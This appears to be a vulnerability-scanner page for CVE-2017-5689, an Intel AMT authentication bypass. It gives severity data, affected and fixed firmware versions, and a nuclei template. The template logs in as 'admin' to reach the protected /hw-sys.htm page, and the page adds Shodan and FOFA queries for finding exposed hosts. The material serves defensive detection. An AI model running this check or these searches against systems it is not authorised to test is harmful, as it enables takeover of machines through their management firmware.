Intel Active Management - Authentication Bypass

Exploited in the wild. Listed by CISA on 2022-01-28; known to be used by ransomware.

criticalseverity

9.8CVSS score

92.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Intel Active Management platforms are susceptible to authentication bypass. A non-privileged network attacker can gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability. A non-privileged local attacker can provision manageability features, gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology, Intel Standard Manageability, and Intel Small Business Technology. The issue has been observed in versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for all three platforms. Versions before 6 and after 11.6 are not impacted.

Impact

An attacker can bypass authentication and gain unauthorized access to the Intel Active Management firmware, potentially leading to unauthorized control of the affected system.

Fix

Update the Intel Active Management firmware to version 11.6.55, 11.7.55, 11.11.55, 11.0.25, 8.1.71, or 7.1.91 to mitigate the vulnerability.

How to confirm it

Send: GET / ; GET /hw-sys.htm
Positive when: contains in body_2 "System Status" and "Active Management Technology" AND status 200

Run it with nuclei: nuclei -id CVE-2017-5689 -u <target>

The full check

id: CVE-2017-5689

info:
  name: Intel Active Management - Authentication Bypass
  author: pdteam
  severity: critical
  description: |
    Intel Active Management platforms are susceptible to authentication bypass. A non-privileged network attacker can gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability. A non-privileged local attacker can provision manageability features, gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology, Intel Standard Manageability, and Intel Small Business Technology. The issue has been observed in versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for all three platforms. Versions before 6 and after 11.6 are not impacted.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Intel Active Management firmware, potentially leading to unauthorized control of the affected system.
  remediation: |
    Update the Intel Active Management firmware to version 11.6.55, 11.7.55, 11.11.55, 11.0.25, 8.1.71, or 7.1.91 to mitigate the vulnerability.
  reference:
    - https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
    - https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
    - https://www.embedi.com/news/mythbusters-cve-2017-5689
    - https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
    - https://nvd.nist.gov/vuln/detail/cve-2017-5689
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-5689
    epss-score: 0.92189
    epss-percentile: 0.99823
    cpe: cpe:2.3:o:intel:active_management_technology_firmware:6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: intel
    product: active_management_technology_firmware
    shodan-query:
      - title:"Active Management Technology"
      - http.title:"active management technology"
    fofa-query: title="active management technology"
    google-query: intitle:"active management technology"
  tags: cve2017,cve,amt,intel,tenable,kev,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /hw-sys.htm HTTP/1.1
        Host: {{Hostname}}

    digest-username: admin

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "System Status"
          - "Active Management Technology"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from